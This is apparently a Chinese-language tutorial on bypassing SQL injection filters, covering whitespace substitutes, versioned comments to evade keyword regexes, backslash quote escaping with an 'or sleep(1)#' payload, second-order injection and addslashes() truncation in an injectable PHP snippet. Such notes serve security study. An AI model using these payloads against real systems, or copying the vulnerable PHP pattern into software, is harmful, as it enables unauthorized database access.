1.字符替换
1.1 只过滤空格
除了空格,在代码中可以代替的空白符还有
%0a,%0b,%0c,%0d,%09,%a0(%a0在特定字符集才能利用)
/**/组合,括号
1.2 将select替换为空
1.3 大小写匹配
1.4 正则匹配
正则匹配关键字”\bselect\b”可以用形如”/!50000select/“的方式绕过
关于正则表达式:
[xyz] 一个字符集,匹配任意一个包含的字符[^xyz] 一个否定字符集,匹配任何为包含的字符\w (小写) 匹配字母或数字或者下划线的字符\W (大写) 匹配不是字母,数字,下划线的字符\s (小写) 匹配任意空白符\S (大写) 匹配不是空白符的字符\d (小写) 匹配数字\D (大写) 匹配非数字的字符\b (小写) 匹配单词的开始或结束的位置\B (大写) 匹配不是单词开头或结束的位置$ 匹配字符串的结束^ 匹配字符串的开始. 匹配所有,除了换行符- 重复0次或更多次- 重复1次或更多次? 重复0次或一次{n} 重复n次{n,} 重复n次或更多次{n, m} 重复n次到m次等更多.........
1.5 替换了单引号或双引号,忘记了反斜杠
$sql="select * from TABLE_NAME where id='可控1' and title='可控2' "
/*如上代码*/
可以构造如下代码绕过:
$sql="select * from TABLE_NAME where id='a\' and title='or sleep(1)#' "
此时真实执行的只有or以及其后面的sleep.
2 逃逸引号
2.1 编码解码
2.2 二次注入
insert into TABLE_NAME values(2,'admin\'or\'1','some_pass');
这里会插入一个 admin'or'1 的用户名,此时没有注入产生,数据正常入库
但是二次引用时:
select PASSWORD from TABLE_NAME where USERNAME='admin'or'1';
从而产生注入
2.3 字符串截断
addslashes()函数
比如:
<?php
$conn=mysqli_connect();
$title=addslashes($_GET['title']);
$title=substr($title,0,10);
echo "<center>$title</center>";
$content=addslashes($_GET['content']);
$sql="insert into TABLE_NAME values(2,'$title','$content')";
$res=mysqli_query($conn,$sql);
?>
如果输入"aaaaaaaaa'",会自动转义为:"aaaaaaaaa\'",由于字符长度限制,被截取为:aaaaaaaaa\
正好转义了预置的单引号,这样在content处就产生了注入
